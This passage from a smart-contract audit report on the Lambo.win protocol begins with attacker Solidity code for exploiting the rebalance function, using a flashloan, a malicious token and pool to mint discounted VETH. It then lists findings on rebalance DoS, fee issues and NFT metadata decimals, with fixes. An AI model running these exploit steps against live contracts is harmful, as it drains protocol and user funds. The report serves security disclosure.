  5. Now its possible to call LamboRebalanceOnUniwap::rebalance with MASK so _v3Pool points to the attacker’s pool:

        uint256 _v3pool = uint256(uint160(uniswapPool)) | (directionMask);
        uint256[] memory pools = new uint256[](1);
        pools[0] = _v3pool;
  6. The attacker deploys Attacker.sol. Its takeProfit function takes a Morpho flashloan, then calls LamboRebalanceOnUniwap::rebalance with the flashloaned amount.

    function takeProfit(uint256 loanAmount) public onlyOwner {
        //1 wei for profit of rebalancer
        IMorpho(morphoVault).flashLoan(WETH, loanAmount + 1, new bytes(0));
    }
  7. The Attacker.sol::onMorphoFlashLoan configures and supplies (with taken flash-loan) the malicious token so that it will send the given WETH to rebalancer when its “transfer” function is called upon VETH=>MALICIOUS_COIN swap:
    Configure and supply token:

        //Tell token how much WETH to give back to balancer
        token.setWETHAmount(assets);
    
        //Then transfer required amount
        Token(WETH).transfer(address(token), assets);

    Malicious Token::transfer:

    function transfer(address to, uint amount) public override returns (bool) {
        ERC20(WETH).transfer(rebalancer, wethAmount);
        return super.transfer(to, amount);
    }

    Malicious Token::setWETHAmount:

    function setWETHAmount(uint amount) public {
        wethAmount = amount;
    }

    This mechanism allows us to pay the profit + flash-loaned amount of rebalancer.

  8. Attacker.sol::onMorphoFlashLoan adds liquidity into the malicious pool before calling LamboRebalanceOnUniwap::rebalance (we need to provide liquidity only for one direction, VETH to our malicious coin, so that means we dont need to provdie extra VETH):

        INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager
            .MintParams({
                token0: address(token) < vETH ? address(token) : vETH,
                token1: address(token) < vETH ? vETH : address(token),
                fee: 3000, // 0.3% pool, for example
                tickLower: 60, //do not care
                tickUpper: 6000, //do not care
                amount0Desired: address(token) < vETH ? 1e24 : 0,
                amount1Desired: address(token) > vETH ? 1e24 : 0, // If you want to start one-sided with Token
                amount0Min: 0,
                amount1Min: 0,
                recipient: address(this),
                deadline: block.timestamp
            });
        (uint256 tokenId, uint128 liquidity, , ) = positionManager.mint(params);
  9. LamboRebalanceOnUniwap::rebalance is called with the attacker’s directionMask that results in the malicious pool:

        //Then perform the rebalancing, using our mask and assets - 1 wei
        rebalancer.rebalance(mask, assets - 1, 0);

    Then _executeSell is executed, and VETH is minted at a discount (because ETH price is higher than VETH, and we are minting it at a discount):

    1        IWETH(weth).withdraw(amountIn);
    2        //@audit receive VETH at discount
    3        VirtualToken(veth).cashIn{value: amountIn}(amountIn);
    4        require(IERC20(veth).approve(address(OKXTokenApprove), amountIn), "Approve failed");
    5        //@audit Swap VETH to malicious coins
    6        IDexRouter(OKXRouter).uniswapV3SwapTo(uint256(uint160(address(this))), amountIn, 0, pools);

    NOTE: it’s on line #6 that balancer receives flash-loaned tokens + 1 wei from maliciousToken::transfer function

  10. Malicious pool now received VETH at a discount price.
  11. Attacker now withdraws liquidity, receiving VETH and the malicious coins:

        //The attack is performed, remove liquidity from our pool
        //now our pool contains 1 VETH which we got with a discount
        INonfungiblePositionManager.DecreaseLiquidityParams
            memory decreaseParams = INonfungiblePositionManager
                .DecreaseLiquidityParams({
                    tokenId: tokenId,
                    liquidity: liquidity,
                    amount0Min: 0,
                    amount1Min: 0,
                    deadline: block.timestamp
                });
    
        (uint256 amount0Removed, uint256 amount1Removed) = positionManager
            .decreaseLiquidity(decreaseParams);
    
        INonfungiblePositionManager.CollectParams
            memory collectParams = INonfungiblePositionManager.CollectParams({
                tokenId: tokenId,
                recipient: address(this),
                amount0Max: ~uint128(0),
                amount1Max: ~uint128(0)
            });
    
        //Tell token no need to send anymore WETH To rebalancer
        token.setWETHAmount(0);
    
        //Collect tokens from the pool
        (uint256 amount0Collected, uint256 amount1Collected) = positionManager
            .collect(collectParams);
  12. Attacker sells VETH on market and receives more WETH than what it flash-loaned

        require(
            Token(vETH).approve(address(OKXTokenApprove), 99999999999999999998),
            "Approve failed"
        );
    
        uint256 _v3pool = uint256(uint160(pool));
        uint256[] memory pools = new uint256[](1);
        pools[0] = _v3pool;
    
        IDexRouter(OKXRouter).uniswapV3SwapTo(
            uint256(uint160(address(this))),
            99999999999999999998,
            0,
            pools
        );
  13. Attacker pays the flash-loan and takes rest as profit

        //give back loan
        Token(WETH).approve(address(morphoVault), assets);
    
        //we are left with more
        assert(Token(WETH).balanceOf(address(this)) > 0);
        console.log(Token(WETH).balanceOf(address(this)));

    In the given PoC at gist, attacker makes 100 extra VETH.

Make sure that directionMask is either (1 << 255) or 0.

Shaneson (Lambo.win) confirmed and commented:

Very good finding. Thanks, talented auditors.


[M-07] Rebalance profit requirement prevents maintaining VETH/WETH peg

Submitted by Evo

https://github.com/code-423n4/2024-12-lambowin/blob/b8b8b0b1d7c9733a7bd9536e027886adb78ff83a/src/rebalance/LamboRebalanceOnUniwap.sol#L62

The profit > 0 requirement in the rebalance function actively prevents the protocol from maintaining the VETH/WETH 1:1 peg during unprofitable market conditions, when profit is ZERO.

Proof of Concept

The protocol documentation and team’s design goals that the RebalanceOnUniswap contract is specifically designed to maintain the VETH/WETH pool ratio at 1:1, intentionally accepting gas losses as a trade-off for improved price stability.

It is mentioned in the previous audit, In the sponsor’s acknowledgement (from SlowMist audit, N12):

According to the project team, the RebalanceOnUniswap contract is designed to maintain the VETH/WETH pool ratio at 1:1 rather than for profit. Gas costs are intentionally omitted to increase rebalancing frequency, accepting gas losses as a trade-off for improved price stability.

However, in LamboRebalanceOnUniwap.sol#L68:

    function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
	    uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
	    bytes memory data = abi.encode(directionMask, amountIn, amountOut);
	    IMorpho(morphoVault).flashLoan(weth, amountIn, data);
	    uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
	    uint256 profit = balanceAfter - balanceBefore;
	    require(profit > 0, "No profit made");
}

The require(profit > 0) check means:

  • Rebalancing can only occur when profitable, in situations where rebalancing is needed but arbitrage profits are zero, this directly contradicts the protocol’s stated design goal of accepting no profit to maintain the ratio 1:1.

An example scenario would be:

  • VETH/WETH ratio deviates from 1:1
  • Rebalancing opportunity exists to restore the peg
  • Market conditions mean rebalancing would offer no profit but can still done
  • The profit check prevents rebalancing

Update the require(profit > 0) to require(profit >= 0).

Shaneson (Lambo.win) acknowledged


[M-08] Users can prevent protocol from rebalancing for his gain and cause loss of funds for protocol and its users

Submitted by mrMorningstar, also found by 0xGondar, bumbleb33, bumbleb33, and Evo

https://github.com/code-423n4/2024-12-lambowin/blame/874fafc7b27042c59bdd765073f5e412a3b79192/src/rebalance/LamboRebalanceOnUniwap.sol#L62

The protocol have a vETH token that aims to be pegged to the ETH so the ration of vETH -> ETH = 1:1. When depeg happens the protocol can mitigate that via rebalance function in LamboRebalanceOnUniwap that looks like this:

function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
    uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
    bytes memory data = abi.encode(directionMask, amountIn, amountOut);
    IMorpho(morphoVault).flashLoan(weth, amountIn, data);
    uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
    uint256 profit = balanceAfter - balanceBefore;
    require(profit > 0, "No profit made");
}

This function is designed to rebalance ratio by taking a flashloan from MorphoVault, which will be used on UniswapV3 to make a swap, while at the same time make sure there is a profit for the caller which later can be transferred via the extractProfit function in the same contract.

Proof of Concept

The issue here is that rebalance function can be frontrun by malicious user who will make a swap directly to the pool which will make the disbalance in ratio even greater and just enough for this check to revert:

require(profit > 0, "No profit made");

Which will make the whole function to revert and rebalance will not happen.

PoC:

  • User call the rebalance function to restore vETH-ETH ratio
  • Malicious user sees the tx in mempool and front-runs it (for example to swap WETH to vETH which will inflate value of vETH)
  • Then the rebalance function is executed and flash loan is taken and going for swap
  • The protocol receives less vETH than it should
  • Not enough WETH is deposited so the profit <= 0 which will make rebalance revert
  • Malicious user can furthermore use the vETH he got to swap and exploit the other Lambo tokens and inflate other pools for its gain via LamboVETHRouter as its expected ratio in buyQuote is 1:1 for vETH/ETH (also by this comment here), by swapping his gained vETH for desired targetToken.

In the end, the attacker successfully DoS the rebalance function and since the rebalance is designed to ignore gas costs to increase rebalancing frequency, accepting gas losses as a trade-off for improved price stability. This will result in no profit but even a net loss of funds for the protocol and other users that are in the pool where one pair of tokens is inflated vETH. This will motivate malicious users to keep doing these attacks and stop the protocol from rebalancing as long as it is profitable for him.

Impact

Repeg can be DoS-ed which will prevent the protocol from rebalancing and will incur loss of funds.

There is no easy solution but, one solution is to use previewRebalance in the rebalance function and compare the returned values and profitability with inputted amounts by the user so even if the attacker front-runs it, the function reverts even before flashloan is taken. That can save additional gas cost and it will make each time more expensive and unprofitable for the attacker to perform that attack. Also to include a mechanism that will account for the possibility of inflated vETH values in LamboVETHRouter.


[M-09] Rebalance will be completely dossed if OKX commision rate goes beyond the fee limits

Submitted by inh3l, also found by Bauchibred, Evo, and MSaptarshi

https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/rebalance/LamboRebalanceOnUniwap.sol#L89-L114

Rebalancing interacts with OKXRouter to swap weth for tokens in certain pools and vice versa. But OKXRouter may charge commissions on both the from token and to token, which reduces potential profit to be made from the rebalance operation, if high enough causes there to be no profit made, which will cause the operation to fail, or in extreme cases, if the commision is set beyond its expected limits, cause a permanent dos of the function.

Proof of Concept

rebalance calls morpho flashloan which calls the onMorphoFlashLoan hook.

    function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
        uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
        bytes memory data = abi.encode(directionMask, amountIn, amountOut);
>>      IMorpho(morphoVault).flashLoan(weth, amountIn, data);
        uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
        uint256 profit = balanceAfter - balanceBefore;
        require(profit > 0, "No profit made");
    }

onMorphoFlashLoan, depending on the set direction executes buy or sell transaction using OKXRouter.

    function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {
        require(msg.sender == address(morphoVault), "Caller is not morphoVault");
        (uint256 directionMask, uint256 amountIn, uint256 amountOut) = abi.decode(data, (uint256, uint256, uint256));
        require(amountIn == assets, "Amount in does not match assets");

        uint256 _v3pool = uint256(uint160(uniswapPool)) | (directionMask);
        uint256[] memory pools = new uint256[](1);
        pools[0] = _v3pool;

        if (directionMask == _BUY_MASK) {
>>          _executeBuy(amountIn, pools);
        } else {
>>          _executeSell(amountIn, pools);
        }

        require(IERC20(weth).approve(address(morphoVault), assets), "Approve failed");
    }

OKXRouter, for its transactions charges a fee from both the from and to token. This is important as according to the readme, issues from external integrations enabling fees while affecting the protocol are in scope.

    function _executeBuy(uint256 amountIn, uint256[] memory pools) internal {
        uint256 initialBalance = address(this).balance;

        // Execute buy
        require(IERC20(weth).approve(address(OKXTokenApprove), amountIn), "Approve failed");
>>      uint256 uniswapV3AmountOut = IDexRouter(OKXRouter).uniswapV3SwapTo(
            uint256(uint160(address(this))),
            amountIn,
            0,
            pools
        );
        VirtualToken(veth).cashOut(uniswapV3AmountOut);

        // SlowMist [N11]
        uint256 newBalance = address(this).balance - initialBalance;
        if (newBalance > 0) {
            IWETH(weth).deposit{value: newBalance}();
        }
    }

    function _executeSell(uint256 amountIn, uint256[] memory pools) internal {
        IWETH(weth).withdraw(amountIn);
        VirtualToken(veth).cashIn{value: amountIn}(amountIn);
>>      require(IERC20(veth).approve(address(OKXTokenApprove), amountIn), "Approve failed");
        IDexRouter(OKXRouter).uniswapV3SwapTo(uint256(uint160(address(this))), amountIn, 0, pools);
    }

From the router’s uniswapV3SwapTo function, we can see that a commission is taken from the “from” token and from the “to” token after swap. The presence of these fees, for the first part reduces the potential profit that the protocol stands to make from the flashloan, leading to a loss of “positive yield”. Worse still is if the commision is high enough, no profit will be made, causing the rebalance function to revert due to the requirement that profit is made during every rebalance operation.

    function _uniswapV3SwapTo(
        address payer,
        uint256 receiver,
        uint256 amount,
        uint256 minReturn,
        uint256[] calldata pools
    ) internal returns (uint256 returnAmount) {
        CommissionInfo memory commissionInfo = _getCommissionInfo();

        (
            address middleReceiver,
            uint256 balanceBefore
>>      ) = _doCommissionFromToken(
                commissionInfo,
                address(uint160(receiver)),
                amount
            );

        (uint256 swappedAmount, ) = _uniswapV3Swap(
            payer,
            payable(middleReceiver),
            amount,
            minReturn,
            pools
        );

>>      uint256 commissionAmount = _doCommissionToToken(
            commissionInfo,
            address(uint160(receiver)),
            balanceBefore
        );

        return swappedAmount - commissionAmount;
    }

And finally, if the commission rate exceeds exceeds its preset commissionRateLimit either for the fromToken or toToken, will also cause the function to also revert, dossing rebalancing.

    function _doCommissionFromToken(
        CommissionInfo memory commissionInfo,
        address receiver,
        uint256 inputAmount
    ) internal returns (address, uint256) {
//...
            let rate := mload(add(commissionInfo, 0x40))
>>          if gt(rate, commissionRateLimit) {
                _revertWithReason(
                    0x0000001b6572726f7220636f6d6d697373696f6e2072617465206c696d697400,
                    0x5f
                ) //"error commission rate limit"
            }
//...
    function _doCommissionToToken(
        CommissionInfo memory commissionInfo,
        address receiver,
        uint256 balanceBefore
    ) internal returns (uint256 amount) {
        if (!commissionInfo.isToTokenCommission) {
            return 0;
        }
//...
            let rate := mload(add(commissionInfo, 0x40))
>>           if gt(rate, commissionRateLimit) {
                _revertWithReason(
                    0x0000001b6572726f7220636f6d6d697373696f6e2072617465206c696d697400,
                    0x5f
                ) //"error commission rate limit"
            }
//...

[M-10] LP for v3 pool of underlying tokens with decimals != 18 would have incorrect NFT metadata

Submitted by prapandey031, also found by Agontuk, bumbleb33, Coldless, Daniel526, MrPotatoMagic, and TenderBeastJr

https://github.com/code-423n4/2024-12-lambowin/blob/main/src/VirtualToken.sol#L10

The VirtualToken.sol has a hardcoded decimal value of 18 even if the underlying token has a decimal value of 6 (for eg, USDC). This would not let the liquidity providers of the (vUSDC, USDC) uniswap v3 pool to get the correct metadata for their NFT liquidity position.

Proof of Concept

Below is a step-by-step PoC to explain the issue in detail.

The VirtualToken.sol is an ERC-20 token contract that has hardcoded 18 decimals:

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/cceac54953ccda8a9a028d0b9bf4378605fdf67e/contracts/token/ERC20/ERC20.sol#L78

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

Let’s say vUSDC is the virtual token contract with the underlying token as USDC. USDC has 6 decimals.

Now, as per the protocol, there would be a (vUSDC, USDC) uniswap v3 pool with 1:1 peg so that users could make swap and liquidity providers could provide (vUSDC, USDC) liquidity to the v3 pool.

Let’s say a user X has provided liquidity to the (vUSDC, USDC) v3 pool. He would hold a liquidity position NFT:

https://github.com/Uniswap/v3-periphery/blob/main/contracts/NonfungiblePositionManager.sol#L128

    function mint(MintParams calldata params)
        external
        payable
        override
        checkDeadline(params.deadline)
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        IUniswapV3Pool pool;
        (liquidity, amount0, amount1, pool) = addLiquidity(
            AddLiquidityParams({
                token0: params.token0,
                token1: params.token1,
                fee: params.fee,
                recipient: address(this),
                tickLower: params.tickLower,
                tickUpper: params.tickUpper,
                amount0Desired: params.amount0Desired,
                amount1Desired: params.amount1Desired,
                amount0Min: params.amount0Min,
                amount1Min: params.amount1Min
            })
        );

        _mint(params.recipient, (tokenId = _nextId++));

        bytes32 positionKey = PositionKey.compute(address(this), params.tickLower, params.tickUpper);
        (, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = pool.positions(positionKey);

        // idempotent set
        uint80 poolId =
            cachePoolKey(
                address(pool),
                PoolAddress.PoolKey({token0: params.token0, token1: params.token1, fee: params.fee})
            );

        _positions[tokenId] = Position({
            nonce: 0,
            operator: address(0),
            poolId: poolId,
            tickLower: params.tickLower,
            tickUpper: params.tickUpper,
            liquidity: liquidity,
            feeGrowthInside0LastX128: feeGrowthInside0LastX128,
            feeGrowthInside1LastX128: feeGrowthInside1LastX128,
            tokensOwed0: 0,
            tokensOwed1: 0
        });

        emit IncreaseLiquidity(tokenId, liquidity, amount0, amount1);
    }

The user X could do any transaction with this NFT as he would do with a normal NFT: transfer to someone else, sell on the Uniswap v3 NFT marketplace, etc.

However, when the marketplace would call tokenURI(uint256 tokenId) for X’s NFT metadata, wrong value of v3 pool price would be sent. Let’s see the flow.

The intended v3 pool price should be near about 1 because of the peg. But when tokenURI(uint256 tokenId) is called:

https://github.com/Uniswap/v3-periphery/blob/main/contracts/NonfungiblePositionManager.sol#L189

    function tokenURI(uint256 tokenId) public view override(ERC721, IERC721Metadata) returns (string memory) {
        require(_exists(tokenId));
        return INonfungibleTokenPositionDescriptor(_tokenDescriptor).tokenURI(this, tokenId);
    }

It calls the tokenURI(INonfungiblePositionManager positionManager, uint256 tokenId) function in NonfungibleTokenPositionDescriptor.sol:

https://github.com/Uniswap/v3-periphery/blob/main/contracts/NonfungibleTokenPositionDescriptor.sol#L48

    function tokenURI(INonfungiblePositionManager positionManager, uint256 tokenId)
        external
        view
        override
        returns (string memory)
    {
        (, , address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, , , , , ) =
            positionManager.positions(tokenId);

        IUniswapV3Pool pool =
            IUniswapV3Pool(
                PoolAddress.computeAddress(
                    positionManager.factory(),
                    PoolAddress.PoolKey({token0: token0, token1: token1, fee: fee})
                )
            );

        bool _flipRatio = flipRatio(token0, token1, ChainId.get());
        address quoteTokenAddress = !_flipRatio ? token1 : token0;
        address baseTokenAddress = !_flipRatio ? token0 : token1;
        (, int24 tick, , , , , ) = pool.slot0();

        return
>           NFTDescriptor.constructTokenURI(
                NFTDescriptor.ConstructTokenURIParams({
                    tokenId: tokenId,
                    quoteTokenAddress: quoteTokenAddress,
                    baseTokenAddress: baseTokenAddress,
                    quoteTokenSymbol: quoteTokenAddress == WETH9
                        ? nativeCurrencyLabel()
                        : SafeERC20Namer.tokenSymbol(quoteTokenAddress),
                    baseTokenSymbol: baseTokenAddress == WETH9
                        ? nativeCurrencyLabel()
                        : SafeERC20Namer.tokenSymbol(baseTokenAddress),
                    quoteTokenDecimals: IERC20Metadata(quoteTokenAddress).decimals(),
                    baseTokenDecimals: IERC20Metadata(baseTokenAddress).decimals(),
                    flipRatio: _flipRatio,
                    tickLower: tickLower,
                    tickUpper: tickUpper,
                    tickCurrent: tick,
                    tickSpacing: pool.tickSpacing(),
                    fee: fee,
                    poolAddress: address(pool)
                })
            );
    }

This calls the constructTokenURI(ConstructTokenURIParams memory params) function:

https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/NFTDescriptor.sol#L44

    function constructTokenURI(ConstructTokenURIParams memory params) public pure returns (string memory) {
        string memory name = generateName(params, feeToPercentString(params.fee));
        string memory descriptionPartOne =
            generateDescriptionPartOne(
                escapeQuotes(params.quoteTokenSymbol),
                escapeQuotes(params.baseTokenSymbol),
                addressToString(params.poolAddress)
            );
        string memory descriptionPartTwo =
            generateDescriptionPartTwo(
                params.tokenId.toString(),
                escapeQuotes(params.baseTokenSymbol),
                addressToString(params.quoteTokenAddress),
                addressToString(params.baseTokenAddress),
                feeToPercentString(params.fee)
            );
        string memory image = Base64.encode(bytes(generateSVGImage(params)));

        return
            string(
                abi.encodePacked(
                    'data:application/json;base64,',
                    Base64.encode(
                        bytes(
                            abi.encodePacked(
                                '{"name":"',
                                name,
                                '", "description":"',
                                descriptionPartOne,
                                descriptionPartTwo,
                                '", "image": "',
                                'data:image/svg+xml;base64,',
                                image,
                                '"}'
                            )
                        )
                    )
                )
            );
    }

This calls the generateName(ConstructTokenURIParams memory params, string memory feeTier) function:

https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/NFTDescriptor.sol#L155

    function generateName(ConstructTokenURIParams memory params, string memory feeTier)
        private
        pure
        returns (string memory)
    {
        return
            string(
                abi.encodePacked(
                    'Uniswap - ',
                    feeTier,
                    ' - ',
                    escapeQuotes(params.quoteTokenSymbol),
                    '/',
                    escapeQuotes(params.baseTokenSymbol),
                    ' - ',
                    tickToDecimalString(
                        !params.flipRatio ? params.tickLower : params.tickUpper,
                        params.tickSpacing,
                        params.baseTokenDecimals,
                        params.quoteTokenDecimals,
                        params.flipRatio
                    ),
                    '<>',
                    tickToDecimalString(
                        !params.flipRatio ? params.tickUpper : params.tickLower,
                        params.tickSpacing,
                        params.baseTokenDecimals,
                        params.quoteTokenDecimals,
                        params.flipRatio
                    )
                )
            );
    }

Ultimately, in the call-chain adjustForDecimalPrecision() function is called:

    function adjustForDecimalPrecision(
        uint160 sqrtRatioX96,
        uint8 baseTokenDecimals,
        uint8 quoteTokenDecimals
    ) private pure returns (uint256 adjustedSqrtRatioX96) {
        uint256 difference = abs(int256(baseTokenDecimals).sub(int256(quoteTokenDecimals)));
        if (difference > 0 && difference <= 18) {
            if (baseTokenDecimals > quoteTokenDecimals) {
>               adjustedSqrtRatioX96 = sqrtRatioX96.mul(10**(difference.div(2)));
                if (difference % 2 == 1) {
                    adjustedSqrtRatioX96 = FullMath.mulDiv(adjustedSqrtRatioX96, sqrt10X128, 1 << 128);
                }
            } else {
>               adjustedSqrtRatioX96 = sqrtRatioX96.div(10**(difference.div(2)));
                if (difference % 2 == 1) {
                    adjustedSqrtRatioX96 = FullMath.mulDiv(adjustedSqrtRatioX96, 1 << 128, sqrt10X128);
                }
            }
        } else {
            adjustedSqrtRatioX96 = uint256(sqrtRatioX96);
        }
    }

And the sqrtRatioX96 value (which would be around 1 as the USDC and vUSDC token amounts in the v3 pool are pegged) is adjusted with the decimal difference (which is 18-6=12 in this case); it would become either (10^12) or (1/(10^12)).

Thus, X would have his liquidity position NFT with incorrect or unintended v3 pool price data; X would want the v3 pool price data to be 1 but it would be something else.

Severity

Impact: Correct NFT metadata is important for NFT marketplaces. Therefore the NFT functionality stands broken. The imapct is Medium.

Likelihood: The likelihood is High.

Therefore, the severity is Medium.

It is recommended to use the underlying token’s decimals in VirtualToken.sol.


Low Risk and Non-Critical Issues

For this audit, 9 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by Bauchibred received the top score from the judge.

The following wardens also submitted reports: gkrastenov, inh3l, K42, PolarizedLight, prapandey031, Rhaydden, Sparrow, and ZhengZuo999.

Table of Contents

Issue ID Description
QA-01 Outdated Curve StableNG Factory Address
QA-02 Using a single pool creates one-sided risk and reduces rebalancing efficiency
QA-03 Lack of slippage protection during rebalancing would allow for users to skim off profits using MEV attacks
QA-04 Rebalancing would revert on Morpho in some cases
QA-05 Remove redundant code in cashIn
QA-06 Uniswap V3 can’t be fully used, contrary to docs
QA-07 Import declarations should import specific identifiers, rather than the whole file
QA-08 Variable naming could be improved in LamboRebalanceOnUniwap

[QA-01] Outdated Curve StableNG Factory Address

Proof of Concept

Take a look at LaunchPadUtils.sol#L18:

address public constant CURVE_STABLE_NG_FACTORY = 0x6A8cbed756804B16E05E741eDaBd5cB544AE21bf;

The protocol is using an outdated Curve StableNG Factory address. According to the Curve documentation, the correct factory address was updated in April to 0xB9fC157394Af804a3578134A6585C0dc9cc990d4.

Impact

Any integration with Curve pools will be broken as it’s pointing to an outdated factory address. This could lead to:

  • Failed pool deployments
  • Inability to interact with newer Curve pools
  • Integration failures with the Curve ecosystem

However, considering this is not used in any in-scope contracts, the issue is QA.

Update the CURVE_STABLE_NG_FACTORY constant to use the latest factory address:

address public constant CURVE_STABLE_NG_FACTORY = 0xB9fC157394Af804a3578134A6585C0dc9cc990d4;

Additionally, consider implementing a more flexible approach using Curve’s AddressProvider to dynamically fetch the latest factory address instead of hardcoding it, or have an admin backed setter function to update the address.

[QA-02] Using a single pool creates one-sided risk and reduces rebalancing efficiency

Proof of Concept

Take a look at https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/rebalance/LamboRebalanceOnUniwap.sol#L44-L57

function initialize(address _multiSign, address _vETH, address _uniswap, uint24 _fee) public initializer {
    require(_multiSign != address(0), "Invalid _multiSign address");
    require(_vETH != address(0), "Invalid _vETH address");
    require(_uniswap != address(0), "Invalid _uniswap address");

    __Ownable_init(_multiSign);
    __ReentrancyGuard_init();

    fee = _fee;
    veth = _vETH;
    uniswapPool = _uniswap;
}

As seen, the LamboRebalanceOnUniwap contract is hardcoded to use a single Uniswap V3 pool with a fixed fee tier for all rebalancing operations. This design however has several critical issues:

  • This approach means that the contract can only access liquidity from one pool, even though Uniswap V3 supports multiple fee tiers (0.01%, 0.05%, 0.3%, 1%) for the same token pair where each fee tier represents a different pool with its own liquidity depth, so the contract misses out on potentially better liquidity in other pools.

That’s to say when the chosen pool lacks sufficient liquidity, rebalancing attempts will always fail with “No profit made”

function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
    // ...
    uint256 profit = balanceAfter - balanceBefore;
    require(profit > 0, "No profit made");
}

Impact

This stops rebalancing, and in the same sense completely bricks the core logic of peg and repeg that’s been stated explicitly int he docs and the readme:

Peg And Repeg

We will deploy liquidity on Uniswap V3, and the `LamboRebalanceOnUniwap` contract is responsible for rebalancing the Uniswap V3 pool. The Rebalance contract utilizes the flash loan mechanism to perform arbitrage operations through MorphoVault. Specifically, the Rebalance contract executes buy or sell operations in the Uniswap V3 pool to ensure the pool's balance and gain profit through arbitrage.
![Defintion](https://github.com/code-423n4/2024-11-lambowin/blob/main/Lambo-VirtualToken.png?raw=true)

In Uniswap V3, Lambo's LP needs to have two ranges:

1. Peg Zone
2. Repeg Zone

The Peg Zone is designed to allow low slippage exchanges between vETH and ETH. The purpose of the Repeg Zone is to create slippage, allowing the Rebalance contract to trigger timely rebalancing with profit margins to subsidize LP fees, thereby enabling cost-free flash loans.

That’s to say when there is a pool with a better liquidity and the current chose one has a draw down on liquidity (which is possible as users could opt in for pools with lower fees making it gain popularity), rebalancing would be efficiently bricked due to a lack of liquidity for swaps either in Buy or Sell directions.

Allow dynamic pool selection:

struct PoolParams {
    address pool;
    uint24 fee;
}

function rebalance(
    uint256 directionMask,
    uint256 amountIn,
    uint256 amountOut,
    PoolParams calldata poolParams  // New parameter
) external nonReentrant {
    // Use provided pool params or fall back to default
    address targetPool = poolParams.pool != address(0) ? poolParams.pool : uniswapPool;
    uint24 targetFee = poolParams.fee != 0 ? poolParams.fee : fee;
    // ... rest of function
}

[QA-03] Lack of slippage protection during rebalancing would allow for users to skim off profits using MEV attacks

Proof of Concept

Take a look at https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/rebalance/LamboRebalanceOnUniwap.sol#L89-L107

function _executeBuy(uint256 amountIn, uint256[] memory pools) internal {
    // No minimum output amount check
    uint256 uniswapV3AmountOut = IDexRouter(OKXRouter).uniswapV3SwapTo(
        uint256(uint160(address(this))),
        amountIn,
        0,  // minAmountOut set to 0
        pools
    );
}

This is the function that is used to execute the buy operation, which ends up being called from the rebalance() function when trying to repeg. The issue, however, is that the minimum return value has been hardcoded to 0, making it possible for users to skim off profits using MEV attacks.

Impact

QA, considering if too much value is skimmed off then the attempt at rebalancing would revert here:

https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/rebalance/LamboRebalanceOnUniwap.sol#L62-L70

    function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
        uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
        bytes memory data = abi.encode(directionMask, amountIn, amountOut);
        IMorpho(morphoVault).flashLoan(weth, amountIn, data);
        uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
        uint256 profit = balanceAfter - balanceBefore;
        require(profit > 0, "No profit made");
    }

Implement slippage protection by adding minimum output amount checks:

function _executeBuy(uint256 amountIn, uint256[] memory pools, uint256 minAmountOut) internal {
    uint256 uniswapV3AmountOut = IDexRouter(OKXRouter).uniswapV3SwapTo(
        uint256(uint160(address(this))),
        amountIn,
        minAmountOut,
        pools
    );
    require(uniswapV3AmountOut >= minAmountOut, "Insufficient output amount");
}

[QA-04] Rebalancing would revert on Morpho in some cases

Proof of Concept

Take a look at https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/rebalance/LamboRebalanceOnUniwap.sol#L62-L70

    function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
        uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
        bytes memory data = abi.encode(directionMask, amountIn, amountOut);
        IMorpho(morphoVault).flashLoan(weth, amountIn, data);
        uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
        uint256 profit = balanceAfter - balanceBefore;
        require(profit > 0, "No profit made");
    }

This is the function used for rebalancing, and it would revert when the amount in is 0 considering the check below in Morpho:

https://www.contractreader.io/contract/mainnet/0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb

    function flashLoan(address token, uint256 assets, bytes calldata data) external {
        require(assets != 0, ErrorsLib.ZERO_ASSETS);

        emit EventsLib.FlashLoan(msg.sender, token, assets);

        IERC20(token).safeTransfer(msg.sender, assets);

        IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);

        IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
    function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
+        require(amountIn > 0, "Amount in must be greater than 0");
        uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
        bytes memory data = abi.encode(directionMask, amountIn, amountOut);
        IMorpho(morphoVault).flashLoan(weth, amountIn, data);
        uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
        uint256 profit = balanceAfter - balanceBefore;
        require(profit > 0, "No profit made");
    }

[QA-05] Remove redundant code in cashIn

Proof of Concept

